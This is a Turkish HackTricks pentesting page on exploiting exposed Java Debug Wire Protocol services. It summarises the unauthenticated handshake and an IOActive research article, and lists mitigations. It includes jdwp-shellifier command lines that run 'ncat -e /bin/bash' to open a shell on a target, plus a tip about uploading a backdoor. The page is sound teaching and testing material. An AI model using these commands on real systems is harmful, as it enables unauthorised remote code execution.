Pentesting JDWP - Java Debug Wire Protocol

HackTricks'i Destekleyin

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell açmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

İstismar

JDWP istismarı, protokolün kimlik doğrulama ve şifreleme eksikliğine dayanır. Genellikle 8000 numaralı portta bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" gönderilerek yapılır. Eğer bir JDWP servisi aktifse, aynı dize ile yanıt verir ve varlığını doğrular. Bu el sıkışma, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.

Süreç tanımlaması açısından, Java süreçlerinde "jdwk" dizesini aramak, aktif bir JDWP oturumunu gösterebilir.

Kullanılacak araç jdwp-shellifier. Farklı parametrelerle kullanabilirsiniz:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

I found that the use of --break-on 'java.lang.String.indexOf' make the exploit more stable. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

Daha fazla detay

Bu, https://ioactive.com/hacking-java-debug-wire-protocol-or-how/ adresinin bir özetidir. Daha fazla detay için kontrol edin.

  1. JDWP Genel Bakış:

  • Paket tabanlı bir ağ ikili protokoldür, öncelikle senkronizedir.

  • Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir.

  1. JDWP El Sıkışması:

  • İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Debugger (istemci) ve Debuggee (sunucu) arasında 14 karakterlik bir ASCII dizesi “JDWP-Handshake” değiştirilir.

  1. JDWP İletişimi:

  • Mesajlar, Uzunluk, Kimlik, Bayrak ve Komut Seti gibi alanlarla basit bir yapıya sahiptir.

  • Komut Seti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylem ve olayları temsil eder.

  1. Sömürü:

  • JDWP, keyfi sınıfları ve bytecode'u yüklemeye ve çağırmaya izin verir, bu da güvenlik riskleri oluşturur.

  • Makale, Java Runtime referanslarını alma, kesme noktaları ayarlama ve yöntemleri çağırma gibi beş adımda bir sömürü sürecini detaylandırmaktadır.

  1. Gerçek Hayatta Sömürü:

  • Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri keşfedilebilir ve gerçek dünya senaryolarında sömürülebilir, bu da ShodanHQ ve GitHub gibi platformlarda yapılan aramalarla gösterilmektedir.

  • Sömürü betiği çeşitli JDK sürümlerine karşı test edilmiştir ve platformdan bağımsızdır, güvenilir Uzaktan Kod Çalıştırma (RCE) sunmaktadır.

  1. Güvenlik Etkileri:

  • İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmalarının gerekliliğini vurgular.

Kaynaklar:

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve sömürü modülleri geliştiriyoruz.

HackTricks'i Destekleyin

Last updated